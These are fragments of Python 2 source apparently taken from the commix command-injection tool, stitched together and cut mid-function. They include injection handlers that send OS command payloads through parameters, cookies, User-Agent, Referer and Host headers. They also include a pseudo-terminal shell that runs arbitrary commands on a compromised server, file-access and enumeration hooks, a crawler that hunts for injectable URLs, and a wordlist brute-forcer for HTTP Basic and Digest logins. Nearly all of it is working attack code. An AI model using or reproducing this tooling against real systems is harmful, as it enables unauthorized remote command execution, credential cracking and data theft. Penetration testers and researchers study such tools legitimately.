hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise urllib2.HTTPError( url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print "" while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " sys.stdout.write( settings. print_question_msg( question_msg)) tmp_upload = sys.stdin.readline( ).replace("\n", "").lower() else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg( err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent ) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str( float_percent ) + "%" else: percent = str( float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if menu.options.verbose > 1: print "" print settings.print_critical_msg(err_msg) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", payload.replace( "\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL >= 1: # print "" delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "" if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def do_check(url, filename): # Check for '--tor' option. if menu.options.tor: if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "It is highly recommended to avoid usage of switch '--tor' for " warn_msg += "time-based injections because of inherent high latency time." print(settings.print_warning_msg(warn_msg)) # Check for '--backticks' option. if menu.options.enable_backticks: if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "The '--backticks' switch is only supported by the classic command injection. " warn_msg += "It will be ignored for all other techniques." print(settings.print_warning_msg(warn_msg)) + Style.RESET_ALL if menu.options.wizard: if perform_checks(url,filename) == False: scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: if not menu.options.batch: question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) question_msg += "' in order to perform more tests? [Y/n] > " next_level = _input(settings.print_question_msg(question_msg)) else: next_level = "" if len(next_level) == 0: next_level = "Y" if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks(url,filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : scan_level = scan_level + 1 else: break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + next_level + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: perform_checks(url,filename) # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: err_msg = "All tested parameters " if menu.options.level > 2: err_msg += "and HTTP headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell : err_msg += " Try to use the option '--alter-shell'" else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " and/or try to increase '--level' values to perform" err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)" else: if menu.options.skip_empty: err_msg += " and/or try to remove the option '--skip-empty'" err_msg += "." print(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) if not settings.CHECK_BOTH_OS: # if not menu.options.bulkfile or settings.EOF: # print("") raise SystemExit() # eof
def crawler(url): if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth if not menu.options.sitemap_url: if menu.options.DEFAULT_CRAWLDEPTH_LEVEL > 2: err_msg = "Depth level '" + str( menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "' is not a valid." print settings.print_error_msg(err_msg) raise SystemExit() info_msg = "Starting crawler and searching for " info_msg += "links with depth " + str( menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "." print settings.print_info_msg(info_msg) else: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) change_depth_level = sys.stdin.readline().replace("\n", "").lower() else: change_depth_level = "" if len(change_depth_level) == 0: change_depth_level = "y" if change_depth_level in settings.CHOICE_YES or change_depth_level in settings.CHOICE_NO: break elif change_depth_level in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + change_depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Change the crawling depth level. if change_depth_level in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " sys.stdout.write(settings.print_question_msg(question_msg)) depth_level = sys.stdin.readline().replace("\n", "").lower() if len(depth_level) == 0: depth_level = 1 break elif str(depth_level) != "1" and str(depth_level) != "2": err_msg = "Depth level '" + depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = depth_level break while True: if not menu.options.sitemap_url: if not menu.options.batch: question_msg = "Do you want to check target for " question_msg += "the existence of site's sitemap(.xml)? [y/N] > " sys.stdout.write(settings.print_question_msg(question_msg)) sitemap_check = sys.stdin.readline().replace("\n", "").lower() else: sitemap_check = "" if len(sitemap_check) == 0: sitemap_check = "n" if sitemap_check in settings.CHOICE_YES: sitemap_check = True break elif sitemap_check in settings.CHOICE_NO: sitemap_check = False break elif sitemap_check in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + sitemap_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: sitemap_check = True break if sitemap_check: output_href = sitemap(url) sitemap_check = output_href for recursion in output_href: if recursion.endswith(".xml") and "sitemap" in recursion.lower(): while True: warn_msg = "A sitemap recursion was detected " + "'" + recursion + "'." print settings.print_warning_msg(warn_msg) if not menu.options.batch: question_msg = "Do you want to follow the detected recursion? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) sitemap_check = sys.stdin.readline().replace( "\n", "").lower() else: sitemap_check = "" if len(sitemap_check) == 0: sitemap_check = "y" if sitemap_check in settings.CHOICE_YES: output_href = sitemap(recursion) sitemap_check = output_href break elif sitemap_check in settings.CHOICE_NO: break elif sitemap_check in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + sitemap_check + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: output_href = do_process(url) info_msg = "Checking " if sitemap_check: info_msg += "targets's sitemap.xml " info_msg += "for usable links with GET parameters... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() succeed_banner = True valid_url_found = False try: url_num = 0 for check_url in output_href: # Check for usable URL with GET parameters if re.search(settings.GET_PARAMETERS_REGEX, check_url): valid_url_found = True url_num += 1 if succeed_banner: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" print settings.print_success_msg("URL " + str(url_num) + " - " + check_url) if not menu.options.batch: question_msg = "Do you want to use this URL to perform tests? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) use_url = sys.stdin.readline().replace("\n", "").lower() else: use_url = "" if len(use_url) == 0: use_url = "y" if use_url in settings.CHOICE_YES: return check_url elif use_url in settings.CHOICE_NO: info_msg = "Skipping '" + check_url + "'.\n" sys.stdout.write(settings.print_info_msg(info_msg)) succeed_banner = False pass elif use_url in settings.CHOICE_QUIT: raise SystemExit() raise SystemExit() except TypeError: pass if not valid_url_found: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" raise SystemExit() # eof
def http_auth_cracker(url, realm): # Define the HTTP authentication type. authentication_type = menu.options.auth_type # Define the authentication wordlists for usernames / passwords. usernames, passwords = define_wordlists() i = 1 found = False total = len(usernames) * len(passwords) for username in usernames: for password in passwords: float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2)) # Check if verbose mode on if settings.VERBOSITY_LEVEL >= 1: payload = "pair of credentials: " + username + ":" + password sys.stdout.write("\r" + settings.print_checking_msg(payload) + " ") sys.stdout.flush() try: # Basic authentication if authentication_type.lower() == "basic": request = urllib2.Request(url) base64string = base64.encodestring(username + ":" + password)[:-1] request.add_header("Authorization", "Basic " + base64string) result = urllib2.urlopen(request) # Digest authentication elif authentication_type.lower() == "digest": authhandler = urllib2.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) opener = urllib2.build_opener(authhandler) urllib2.install_opener(opener) result = urllib2.urlopen(url) # Store valid results to session admin_panel = url session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password) found = True except KeyboardInterrupt : raise except: pass if found: if not settings.VERBOSITY_LEVEL >= 1: float_percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: if str(float_percent) == "100.0%": if not settings.VERBOSITY_LEVEL >= 1: float_percent = Fore.RED + "FAILED" + Style.RESET_ALL else: i = i + 1 if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Checking for a valid pair of credentials... [ " + float_percent + " ]" sys.stdout.write("\r\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if found: valid_pair = "" + username + ":" + password + "" print "" success_msg = "Identified a valid pair of credentials '" success_msg += Style.UNDERLINE + valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." print settings.print_success_msg(success_msg) return valid_pair err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " err_msg += "or place an other dictionary into '" err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." print "\n" + settings.print_error_msg(err_msg) return False #eof
def cb_injection_handler(url, timesec, filename, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "results-based OS command injection" technique = "classic command injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if whitespace == " ": whitespace = urllib.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.CLASSIC_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) raise SystemExit() else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print settings.print_payload(payload) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = cb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print settings.print_error_msg(err_msg) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if not settings.VERBOSITY_LEVEL >= 1: print "" else: checks.total_of_requests() # Print the findings to terminal. success_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: success_msg += " " + http_request_method + "" success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + str( checks.url_decode(payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, 